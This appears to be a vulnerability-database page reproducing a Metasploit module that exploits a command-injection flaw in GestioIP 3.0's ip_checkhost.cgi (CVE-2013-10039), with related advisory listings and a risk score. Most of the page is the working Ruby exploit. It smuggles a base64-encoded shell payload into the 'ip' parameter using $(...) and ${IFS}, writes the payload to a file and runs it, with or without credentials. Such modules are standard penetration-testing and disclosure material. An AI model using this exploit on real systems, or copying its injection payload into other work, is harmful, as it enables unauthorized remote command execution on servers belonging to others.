Lucene search
+L

GestioIP Remote Command Execution

🗓️ 04 Oct 2013 00:00:00Reported by bperryType 
metasploit
 metasploit
🔗 www.rapid7.com👁 36 Views

GestioIP Remote Command Execution module exploits command injection flaw to execute shell script on filesystem and no authentication require

Related
Code
ReporterTitlePublishedViews
Family
attackerkb
ATTACKERKB
CVE-2013-10039
31 Jul 202514:55
attackerkb
circl
Circl
CVE-2013-10039
29 May 201815:50
circl
cnnvd
CNNVD
GestioIP 安全漏洞
31 Jul 202500:00
cnnvd
cve
CVE
CVE-2013-10039
31 Jul 202514:55
cve
cvelist
Cvelist
CVE-2013-10039 GestioIP 3.0 ip_checkhost.cgi RCE
31 Jul 202514:55
cvelist
euvd
EUVD
EUVD-2013-7253
7 Oct 202500:30
euvd
nvd
NVD
CVE-2013-10039
31 Jul 202515:15
nvd
openvas
OpenVAS
GestioIP <= 3.0 Command Injection Vulnerability - Active Check
11 Oct 201300:00
openvas
ptsecurity
Positive Technologies
PT-2025-31537 · Undefined · Undefined
31 Jul 202500:00
ptsecurity
redhatcve
RedhatCVE
CVE-2013-10039
2 Aug 202520:22
redhatcve
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'GestioIP Remote Command Execution',
        'Description' => %q{
          This module exploits a command injection flaw to create a shell script
          on the filesystem and execute it. If GestioIP is configured to use no authentication,
          no password is required to exploit the vulnerability. Otherwise, an authenticated
          user is required to exploit.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'bperry' # Initial Discovery and metasploit module
        ],
        'References' => [
          [ 'CVE', '2013-10039' ],
          [ 'URL', 'http://sourceforge.net/p/gestioip/gestioip/ci/ac67be9fce5ee4c0438d27dfa5c1dcbca08c457c/' ], # Patch
          [ 'URL', 'https://github.com/rapid7/metasploit-framework/pull/2461' ], # First disclosure
          [ 'URL', 'https://www.rapid7.com/blog/post/2013/10/03/gestioip-authenticated-remote-command-execution-module' ]
        ],
        'Payload' => {
          'Space' => 475, # not a lot of room
          'DisableNops' => true,
          'BadChars' => "",
        },
        'Platform' => [ 'unix' ],
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic GestioIP 3.0', {}]],
        'Privileged' => false,
        'DisclosureDate' => '2013-10-04',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('TARGETURI', [true, 'URI', '/gestioip/']),
        OptString.new('HttpUsername', [false, 'The username to auth as', 'gipadmin']),
        OptString.new('HttpPassword', [false, 'The password to auth with', nil])
      ]
    )
  end

  def post_auth?
    true
  end

  def user
    datastore['HttpUsername']
  end

  def pass
    datastore['HttpPassword']
  end

  def use_auth
    !(pass.nil? or pass.empty?)
  end

  def exploit
    pay = Rex::Text.encode_base64(payload.encoded)
    file = Rex::Text.rand_text_alpha(8)

    options = {
      'uri' => normalize_uri(target_uri.path, "ip_checkhost.cgi"),
      'encode_params' => false,
      'vars_get' => {
        'ip' => "2607:f0d0:$(echo${IFS}" + pay + "|base64${IFS}--decode|tee${IFS}" + file + "&&sh${IFS}" + file + "):0000:0000:0000:0000:0004",
        'hostname' => "fds",
        'client_id' => "1",
        'ip_version' => ""
      }
    }

    if use_auth
      options.merge!('authorization' => basic_auth(user, pass))
    end

    res = send_request_cgi(options)

    if res and res.code == 401
      fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Please provide USERNAME and PASSOWRD")
    end
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

04 Oct 2013 00:00Current
5.5Medium risk
Vulners AI Score5.5
CVSS 48.7
EPSS0.03268
SSVC
36